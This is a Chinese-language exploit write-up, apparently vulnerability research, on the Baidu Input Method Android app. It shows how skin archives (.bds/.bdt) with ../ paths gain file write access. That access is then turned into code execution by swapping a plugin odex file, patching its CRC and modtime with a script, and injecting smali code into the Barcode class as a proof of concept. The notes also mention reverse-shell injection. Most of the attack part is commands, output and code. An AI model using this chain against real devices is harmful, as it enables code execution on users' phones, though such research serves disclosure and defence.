输入法皮肤解压缩无限制插入 ../ 即可拥有输入法的写权限
下载 bds 或者 bdt 文件,本质是压缩文件
将会被解压到 land 目录下
制作一个包含../的压缩包来验证猜想 (mac下使用 betterzip 完成)
»
接下来要将写权限转换成执行权限.
替换插件 dex/jar/odex/so 等文件.
定位插入点方法:
- 静态检索反编译代码中DexClassLoader 构造方法
- hook构造方法DexClassLoader (String dexPath, String optimizedDirectory, String libraryPath, ClassLoader parent)
工具中心一些操作(扫一扫)触发了这个挂钩
注入操作1:注入 com.baidu.input.plugin.kit.qrcode-1.dex
- smali注入反弹 shell 代码
- path crc and modwhen
产生问题:将 odex 转成 smali 后注入代码再转换成 dex...而不是 odex 了.
» file inject.dex
inject.dex: Dalvik dex file version 035
» file com.baidu.input.plugin.kit.qrcode-1.dex
com.baidu.input.plugin.kit.qrcode-1.dex: Dalvik dex file (optimized for host) version 036
patch 操作:
» python patch_odex.py patch com.baidu.input.plugin.kit.qrcode-1.dex dex.apk patch.dex
Original modTime: 0x46e152ce
Original CRC: 0x15a84323
Apk ModTime: 0x44f598ba
APK classes CRC: 0xf022cd8c
» python patch_odex.py print patched.odex
modTime: 0x44f598ba
crc: 0xf022cd8c
dalvik build ver: 0x1b
生成 poc 操作:注入一段 log 代码到com.baidu.idl.barcode.Barcode
.class public final Lcom/baidu/idl/barcode/Barcode;
.super Ljava/lang/Object;
# direct methods
.method static constructor <clinit>()V
.locals 3
:try_start_0
const-string v0, "rabjni_V2_1_0"
const-string v2, "Inject"
invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
将的语言包加入 poc 文件
最后效果...当然也可以注入个弹 shell 的...也做个视频?
07-01 12:28:02.248 24160-24160/? E/Inject﹕ rabjni_V2_1_0